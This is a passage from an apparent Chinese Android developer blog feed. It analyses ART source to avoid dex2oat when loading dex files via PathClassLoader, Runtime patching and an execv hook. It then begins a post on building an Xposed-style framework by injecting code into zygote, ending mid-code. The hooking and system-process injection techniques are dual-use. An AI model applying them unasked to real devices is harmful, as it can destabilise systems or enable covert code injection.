one. Mostly likely we will fail</span></span><br><span class="line"> <span class="comment">// with the same error when trying to write the new file.</span></span><br><span class="line"> <span class="comment">// <span class="doctag">TODO:</span> should we maybe do this only when we get permission issues? (i.e. EACCESS).</span></span><br><span class="line"> <span class="keyword">if</span> (obsolete_file_cleanup_failed) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> needs_registering = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 3) If we have an oat file, check all contained multidex files for our dex_location.</span></span><br><span class="line"> <span class="comment">// Note: LoadMultiDexFilesFromOatFile will check for nullptr in the first argument.</span></span><br><span class="line"> <span class="keyword">bool</span> success = LoadMultiDexFilesFromOatFile(open_oat_file.get(), dex_location,</span><br><span class="line"> dex_location_checksum_pointer,</span><br><span class="line"> <span class="literal">false</span>, error_msgs, dex_files);</span><br><span class="line"> <span class="keyword">if</span> (success) {</span><br><span class="line"> <span class="comment">// 我们没有有效的oat文件,所以不会走到这里</span></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (needs_registering) {</span><br><span class="line"> <span class="comment">// We opened it, delete it.</span></span><br><span class="line"> open_oat_file.reset();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> open_oat_file.release(); <span class="comment">// Do not delete open oat files.</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 4) If it's not the case (either no oat file or mismatches), regenerate and load.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Look in cache location if no oat_location is given.</span></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> cache_location;</span><br><span class="line"> <span class="keyword">if</span> (oat_location == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="comment">// Use the dalvik cache.</span></span><br><span class="line"> <span class="keyword">const</span> <span class="built_in">std</span>::<span class="function"><span class="built_in">string</span> <span class="title">dalvik_cache</span><span class="params">(GetDalvikCacheOrDie(GetInstructionSetString(kRuntimeISA)))</span></span>;</span><br><span class="line"> cache_location = GetDalvikCacheFilenameOrDie(dex_location, dalvik_cache.c_str());</span><br><span class="line"> oat_location = cache_location.c_str();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">bool</span> has_flock = <span class="literal">true</span>;</span><br><span class="line"> <span class="comment">// Definitely need to lock now.</span></span><br><span class="line"> <span class="keyword">if</span> (!scoped_flock.HasFile()) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"> <span class="keyword">if</span> (!scoped_flock.Init(oat_location, &error_msg)) {</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> has_flock = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (Runtime::Current()->IsDex2OatEnabled() && has_flock && scoped_flock.HasFile()) {</span><br><span class="line"> <span class="comment">// Create the oat file.</span></span><br><span class="line"> open_oat_file.reset(CreateOatFileForDexLocation(dex_location, scoped_flock.GetFile()->Fd(),</span><br><span class="line"> oat_location, error_msgs));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Failed, bail.</span></span><br><span class="line"> <span class="keyword">if</span> (open_oat_file.get() == <span class="literal">nullptr</span>) { <span class="comment">// 如果无法生成oat,那么直接加载dex</span></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"> <span class="comment">// dex2oat was disabled or crashed. Add the dex file in the list of dex_files to make progress.</span></span><br><span class="line"> DexFile::Open(dex_location, dex_location, &error_msg, dex_files);</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 再次尝试加载oat,无关,省略</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个函数比较长,所以做了一点精简。<br>我们在这里看到了一点端倪,这个函数做了这些事情:</p><ol><li>检查我们是否已经有一个打开了的oat</li><li>如果没有,那么检查oat缓存目录(创建DexClassLoader时传入的第二个参数)是否已经有了一个oat,并且检查这个oat的有效性</li><li>如果没有或者这个oat是无效的,那么生成一个oat文件</li></ol><p>我们首次加载dex时,肯定没有有效的oat,最后会生成一个新的oat:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (Runtime::Current()->IsDex2OatEnabled() && has_flock && scoped_flock.HasFile()) {</span><br><span class="line"> <span class="comment">// Create the oat file.</span></span><br><span class="line"> open_oat_file.reset(CreateOatFileForDexLocation(dex_location, scoped_flock.GetFile()->Fd(),</span><br><span class="line"> oat_location, error_msgs));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里有一个if判断,直接决定是否进行dex2oat,我们看看能不能通过各种手段让这个判断不成立。</p><h2 id="禁用dex2oat"><a href="#禁用dex2oat" class="headerlink" title="禁用dex2oat"></a>禁用dex2oat</h2><h3 id="第一招:修改Runtime中的变量"><a href="#第一招:修改Runtime中的变量" class="headerlink" title="第一招:修改Runtime中的变量"></a>第一招:修改Runtime中的变量</h3><p>这个if判断里,第一个条件就是<code>Runtime::Current()->IsDex2OatEnabled()</code>,如果返回false,那么就不会生成oat。这个函数的实现如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">IsDex2OatEnabled</span><span class="params">()</span> <span class="keyword">const</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> dex2oat_enabled_ && IsImageDex2OatEnabled();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">IsImageDex2OatEnabled</span><span class="params">()</span> <span class="keyword">const</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> image_dex2oat_enabled_;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>dex2oat_enabled_</code>与<code>image_dex2oat_enabled_</code>都是Runtime对象中的成员变量,而Runtime可以通过JavaVM获取,<strong>所以我们只需要修改这个值就能禁用dex2oat</strong>。已经有其他人实现了这一步,具体可以看看<a href="https://fucknmb.com/2018/12/30/art-dex2oat%E5%8A%A0%E8%BD%BD%E5%8A%A0%E9%80%9F%E6%B5%85%E6%9E%90/" target="_blank" rel="noopener">这篇博客</a>。<br>然而事情真的会这么简单吗?<br>查看源码发现<strong>Runtime是一个炒鸡大的结构体</strong>,Android里有什么东西都往这扔,你几乎可以从Runtime对象上直接或间接获取到任何东西,然而也正是因为Runtime太大了,使得没有什么好的办法获取里面的值。</p><p>让我们看看还有没有其他方法:</p><h3 id="第二招:使用PathClassLoader"><a href="#第二招:使用PathClassLoader" class="headerlink" title="第二招:使用PathClassLoader"></a>第二招:使用PathClassLoader</h3><p>我们可以看见,在if判断里,还有两个条件:<code>has_flock</code>和<code>scoped_flock.HasFile()</code>,让我们看看是否可以让这两个条件不成立。<br><code>has_flock</code>的赋值:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">bool</span> has_flock = <span class="literal">true</span>;</span><br><span class="line"><span class="comment">// Definitely need to lock now.</span></span><br><span class="line"><span class="keyword">if</span> (!scoped_flock.HasFile()) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"> <span class="keyword">if</span> (!scoped_flock.Init(oat_location, &error_msg)) {</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> has_flock = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>又是scoped_flock,看看在上面scoped_flock可能在哪里被初始化:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">ScopedFlock scoped_flock;</span><br><span class="line"><span class="keyword">if</span> (open_oat_file.get() == <span class="literal">nullptr</span>) { </span><br><span class="line"> <span class="keyword">if</span> (oat_location != <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// We are loading or creating one in the future. Time to set up the file lock.</span></span><br><span class="line"> <span class="keyword">if</span> (!scoped_flock.Init(oat_location, &error_msg)) {</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 省略代码</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看看ScopedFlock的Init方法:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">bool</span> ScopedFlock::Init(<span class="keyword">const</span> <span class="keyword">char</span>* filename, <span class="built_in">std</span>::<span class="built_in">string</span>* error_msg) {</span><br><span class="line"> <span class="keyword">while</span> (<span class="literal">true</span>) {</span><br><span class="line"> file_.reset(OS::OpenFileWithFlags(filename, O_CREAT | O_RDWR));</span><br><span class="line"> <span class="keyword">if</span> (file_.get() == <span class="literal">NULL</span>) {</span><br><span class="line"> *error_msg = StringPrintf(<span class="string">"Failed to open file '%s': %s"</span>, filename, strerror(errno));</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 省略一大堆代码……</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看见,会打开这个文件,flags为O_CREAT | O_RDWR,那我们只需要设置oat_location为不可写的路径,就能让ScopedFlock::Init返回false。不过我们要注意的是,如果oat_location不为null并且无法使用,那在上面的一个判断里就会直接返回false。怎么办?</p><p>是时候请出我们的主角<code>PathClassLoader</code>了!</p><p>PathClassLoader作为DexClassLoader的兄弟<del>(也可能是姐妹?)</del>,受到的待遇与DexClassLoader截然不同:网上讲解动态加载dex的文章几乎都只讲DexClassLoader,而对于PathClassLoader则是一笔带过:“PathClassLoader只能加载系统中已经安装过的apk”。<br>然而事实真的是这样吗?或许Android 5.0以前是,但Android 5.0时就已经可以加载外部dex了,今天我要为PathClassLoader正名!<br>让我们来对比一下DexClassLoader和PathClassLoader的源码。<br>DexClassLoader:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DexClassLoader</span> <span class="keyword">extends</span> <span class="title">BaseDexClassLoader</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DexClassLoader</span><span class="params">(String dexPath, String optimizedDirectory,</span></span></span><br><span class="line"><span class="function"><span class="params"> String libraryPath, ClassLoader parent)</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>(dexPath, <span class="keyword">new</span> File(optimizedDirectory), libraryPath, parent);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>对,你没看错,有效代码就这么点。<br>让我们再看看PathClassLoader的源码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">PathClassLoader</span> <span class="keyword">extends</span> <span class="title">BaseDexClassLoader</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">PathClassLoader</span><span class="params">(String dexPath, ClassLoader parent)</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>(dexPath, <span class="keyword">null</span>, <span class="keyword">null</span>, parent);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">PathClassLoader</span><span class="params">(String dexPath, String libraryPath,</span></span></span><br><span class="line"><span class="function"><span class="params"> ClassLoader parent)</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>(dexPath, <span class="keyword">null</span>, libraryPath, parent);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>实际上所以实现代码都在BaseDexClassLoader中,DexClassLoader和PathClassLoader都调用了同一个构造函数:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BaseDexClassLoader</span> <span class="keyword">extends</span> <span class="title">ClassLoader</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> DexPathList pathList;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">BaseDexClassLoader</span><span class="params">(String dexPath, File optimizedDirectory,</span></span></span><br><span class="line"><span class="function"><span class="params"> String libraryPath, ClassLoader parent)</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>(parent);</span><br><span class="line"> <span class="keyword">this</span>.pathList = <span class="keyword">new</span> DexPathList(<span class="keyword">this</span>, dexPath, libraryPath, optimizedDirectory);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意第二个参数,optimizedDirectory,<strong>DexClassLoader传入的是new File(optimizedDirectory),而PathClassLoader传入的是null。</strong>记住这一点。<br>这两种情况最后都会调用到DexFile.openDexFileNative中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">native</span> <span class="keyword">long</span> <span class="title">openDexFileNative</span><span class="params">(String sourceName, String outputName, <span class="keyword">int</span> flags)</span></span>;</span><br></pre></td></tr></table></figure><p>如果是PathClassLoader,outputName为null,会进入这个if分支中:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Look in cache location if no oat_location is given.</span></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> cache_location;</span><br><span class="line"><span class="keyword">if</span> (oat_location == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="comment">// Use the dalvik cache.</span></span><br><span class="line"> <span class="keyword">const</span> <span class="built_in">std</span>::<span class="function"><span class="built_in">string</span> <span class="title">dalvik_cache</span><span class="params">(GetDalvikCacheOrDie(GetInstructionSetString(kRuntimeISA)))</span></span>;</span><br><span class="line"> cache_location = GetDalvikCacheFilenameOrDie(dex_location, dalvik_cache.c_str());</span><br><span class="line"> oat_location = cache_location.c_str();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里<strong>会把oat_location设置成/data/dalvik-cache/下的路径</strong>,接下来因为<strong>我们根本没有对dalvik-cache的写入权限</strong>,所以无法打开fd,然后就会走到这里<strong>直接加载原始dex</strong>:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (open_oat_file.get() == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"> <span class="comment">// dex2oat was disabled or crashed. Add the dex file in the list of dex_files to make progress.</span></span><br><span class="line"> DexFile::Open(dex_location, dex_location, &error_msg, dex_files);</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>至此整个逻辑已经明朗,通过PathClassLoader加载会把oat输出路径设置成/data/dalvik-cache/下,然后因为我们没有对dalvik-cache的写入权限,所以无法打开fd,之后会直接加载原始dex,不会进行dex2oat。<br>(注:本文分析源码是<a href="http://aospxref.com/android-5.0.0_r7.0.1/" target="_blank" rel="noopener">Android 5.0</a>,<strong>在<a href="http://aospxref.com/android-8.1.0_r65/" target="_blank" rel="noopener">Android 8.1</a>时源码有改动</strong>,就算是DexClassLoader也会把optimizedDirectory设置成null,输出的oat在dex的父目录/oat/下,所以无法通过PathClassLoader快速加载dex,但在8.1时已经有InMemoryDexClassLoader了,直接通过InMemoryDexClassLoader加载就好了。</p><p>简单做了个小测试,在我的AVD(Android 7.1.1)上,用DexClassLoader加载75M的qq apk用了近80秒,并生成了一个313M的oat,而PathClassLoader用时稳定在2秒左右,emmm……</p><p>看起来我们已经有一个比较好的办法禁用dex2oat了,不过需要修改源码没法直接全局禁用,修改Runtime风险又太大,让我们看看还有没有其他方法。</p><h3 id="第三招:hook-execv"><a href="#第三招:hook-execv" class="headerlink" title="第三招:hook execv"></a>第三招:hook execv</h3><p>到了这里,上面那个判断肯定会成立了,似乎进行dex2oat已成定局?我们继续看CreateOatFileForDexLocation。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> OatFile* ClassLinker::CreateOatFileForDexLocation(<span class="keyword">const</span> <span class="keyword">char</span>* dex_location,</span><br><span class="line"> <span class="keyword">int</span> fd, <span class="keyword">const</span> <span class="keyword">char</span>* oat_location,</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">vector</span><<span class="built_in">std</span>::<span class="built_in">string</span>>* error_msgs) {</span><br><span class="line"> <span class="comment">// Generate the output oat file for the dex file</span></span><br><span class="line"> VLOG(class_linker) << <span class="string">"Generating oat file "</span> << oat_location << <span class="string">" for "</span> << dex_location;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"> <span class="keyword">if</span> (!GenerateOatFile(dex_location, fd, oat_location, &error_msg)) {</span><br><span class="line"> CHECK(!error_msg.empty());</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">unique_ptr</span><OatFile> oat_file(OatFile::Open(oat_location, oat_location, <span class="literal">nullptr</span>,</span><br><span class="line"> !Runtime::Current()->IsCompiler(),</span><br><span class="line"> &error_msg));</span><br><span class="line"> <span class="keyword">if</span> (oat_file.get() == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> compound_msg = StringPrintf(<span class="string">"\nFailed to open generated oat file '%s': %s"</span>,</span><br><span class="line"> oat_location, error_msg.c_str());</span><br><span class="line"> error_msgs->push_back(compound_msg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> oat_file.release();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>GenerateOatFile是核心逻辑,这个函数大部分都是我们不关心的配置dex2oat参数就不贴出来了,最后会fork出一个新进程,然后在子进程里执行execv()调用dex2oat。<br>看起来我们必然要执行dex2oat了?别慌,还有办法。虽然没有直接的开关去阻止dex2oat,但<strong>我们还有hook大法</strong>!生成oat最后是通过execv调用dex2oat进行的,所以我们可以<strong>hook掉execv函数,如果是执行dex2oat那么直接让这个进程退出即可</strong>!Lody大神的早期作品<a href="https://github.com/asLody/TurboDex" target="_blank" rel="noopener">TurboDex</a>就是这样实现的。不过这个项目其实还可以优化一下:TurboDex是使用的Substrate进行hook,这是一个inline hook库,而execv是来自libc.so的导出符号,其实直接通过GOT Hook就能hook到,没有必要去用inline hook,反而增加crash风险。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本来我只是为了研究DexClassLoader与PathClassLoader的区别的,网上的文章和实验的结果完全不一样,结果意外发现一个快速加载dex的方法,就写出来了 :)<br>这个故事告诉我们,没事多看源码(手动滑稽)<br>另外个人建议,快速加载dex之后后台可以开一个线程单独进行dex2oat,具体可以参考<a href="https://github.com/canyie/DreamlandManager/blob/master/app/src/main/java/com/canyie/dreamland/manager/utils/ArtDexOptimizer.java" target="_blank" rel="noopener">ArtDexOptimizer</a>,下次启动的时候如果完成了可以直接用生成好的oat文件,毕竟用oat比直接加载dex快得多,而且更稳定~</p>]]></content>
<summary type="html">
<p>在国内的大环境下,Android上插件化/热修复等技术百花齐放,而这一切都基于代码的动态加载。Android提供了一个DexClassLoader。用这个API能成功加载dex,但有一个比较严重的问题:Android Q以下,当这个dex被加载时,如果没有已经生成的oat,则会执行一次dex2oat把这个dex编译为oat,导致第一次加载dex会非常非常慢。个人认为这样的设计是非常不合理的,虽然转换成oat之后执行会很快,但完全可以让用户以解释器模式先愉快的用着,dex2oat放另一个线程执行多好。Android 8.0上谷歌还提供了一个InMemoryDexClassLoader,而以前的Android版本,就要开发者自己想办法了……</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="art" scheme="https://blog.canyie.top/tags/art/"/>
<category term="dex" scheme="https://blog.canyie.top/tags/dex/"/>
</entry>
<entry>
<title>试着写了一个类Xposed框架</title>
<link href="https://blog.canyie.top/2020/02/03/a-new-xposed-style-framework/"/>
<id>https://blog.canyie.top/2020/02/03/a-new-xposed-style-framework/</id>
<published>2020-02-03T06:51:21.000Z</published>
<updated>2020-02-05T06:10:23.000Z</updated>
<content type="html"><![CDATA[<p>新人第一次写博客,勿喷..<br>本文也发布在<a href="https://zhuanlan.zhihu.com/p/104871958" target="_blank" rel="noopener">知乎</a>上</p><p>Xposed框架在Android上是神器般的存在,它给了普通用户随意定制系统的能力,各种骚操作层出不穷。随着咱对Android的了解越来越深(其实一点都不深..),逐渐冒出了自己写一个类Xposed框架的想法,最终搞出了这个勉强能用的半成品。<br>代码在这:<a href="https://github.com/canyie/Dreamland" target="_blank" rel="noopener">Dreamland</a> & <a href="https://github.com/canyie/DreamlandManager" target="_blank" rel="noopener">Dreamland Manager</a> ,代码写的很辣鸡,求轻喷QAQ<br>接下来会介绍一下实现细节与遇到的问题。</p><a id="more"></a><h2 id="注入-zygote-进程"><a href="#注入-zygote-进程" class="headerlink" title="注入 zygote 进程"></a>注入 zygote 进程</h2><p>我们想实现Xposed那样在目标进程加载自己的模块,就必须把我们自己的代码注入到目标进程,而且我们的代码执行的时机还需要足够早,一般来说都是选择直接注入到zygote进程。</p><p>先来看看其他框架的实现:</p><ul><li><a href="https://github.com/rovo89/Xposed" target="_blank" rel="noopener">Xposed</a> :Xposed for art 重新实现了app_process,libart.so等重要系统库,安装时会替换这些文件,而各大厂商几乎没有不修改它们的,一旦被替换很可能变砖,导致Xposed在非原生系统上的稳定性很差。</li><li><a href="https://github.com/ElderDrivers/EdXposed" target="_blank" rel="noopener">EdXposed</a> : EdXp依赖 <a href="https://github.com/RikkaApps/Riru" target="_blank" rel="noopener">Riru</a> 而Riru是通过替换libmemtrack.so来实现,这个so库会在zygote进程启动时被加载,并且比libart轻得多(只有10个导出函数),然后就可以在zygote进程里执行任意代码。</li><li><a href="https://github.com/taichi-framework/TaiChi" target="_blank" rel="noopener">太极阳</a> : 太极阳通过一种我看不懂的魔法(看了一下只发现libjit.so,但weishu表示Android系统里并没有一个这样一个库,所以并不是简单替换so)注入进zygote(以前是替换libprocessgroup.so)</li></ul><p>可以看出,其他框架几乎都通过直接替换系统已有的so库实现,而替换已有so库则需要尽量选择较轻的库,以避免厂商的修改导致的问题。然而,我们没法避免厂商在so里加料,如果厂商修改了这个so库,我们直接把我们自己以AOSP为蓝本写的so替换上去,则会导致严重的问题。<br>有没有别的什么办法?下面介绍梦境的实现方式。<br>(注:如无特别说明,本文中的AOSP源码都是 <a href="http://aospxref.com/android-7.0.0_r36" target="_blank" rel="noopener">7.0.0_r36</a> 对应的代码)<br>我们知道,在android中,所有的应用进程都是由zygote进程fork出来的,而zygote对应的可执行文件就是app_process(具体可以看init.rc)<br>app_process的main方法如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>* <span class="keyword">const</span> argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="function">AppRuntime <span class="title">runtime</span><span class="params">(argv[<span class="number">0</span>], computeArgBlockSize(argc, argv))</span></span>;</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="keyword">if</span> (zygote) {</span><br><span class="line"> runtime.start(<span class="string">"com.android.internal.os.ZygoteInit"</span>, args, zygote);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (className) {</span><br><span class="line"> runtime.start(<span class="string">"com.android.internal.os.RuntimeInit"</span>, args, zygote);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Error: no class name or --zygote supplied.\n"</span>);</span><br><span class="line"> app_usage();</span><br><span class="line"> LOG_ALWAYS_FATAL(<span class="string">"app_process: no class name or --zygote supplied."</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">10</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以发现,是通过AppRuntime启动的,而AppRuntime继承自AndroidRuntime,start方法的实现在AndroidRuntime里</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Start the Android runtime. This involves starting the virtual machine</span></span><br><span class="line"><span class="comment"> * and calling the "static void main(String[] args)" method in the class</span></span><br><span class="line"><span class="comment"> * named by "className".</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Passes the main function two arguments, the class name and the specified</span></span><br><span class="line"><span class="comment"> * options string.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> AndroidRuntime::start(<span class="keyword">const</span> <span class="keyword">char</span>* className, <span class="keyword">const</span> Vector<String8>& options, <span class="keyword">bool</span> zygote)</span><br><span class="line">{</span><br><span class="line"> <span class="comment">// 省略无关代码...</span></span><br><span class="line"> <span class="comment">/* start the virtual machine */</span></span><br><span class="line"> JniInvocation jni_invocation;</span><br><span class="line"> jni_invocation.Init(<span class="literal">NULL</span>);</span><br><span class="line"> JNIEnv* env;</span><br><span class="line"> <span class="keyword">if</span> (startVm(&mJavaVM, &env, zygote) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> onVmCreated(env);</span><br><span class="line"></span><br><span class="line"> <span 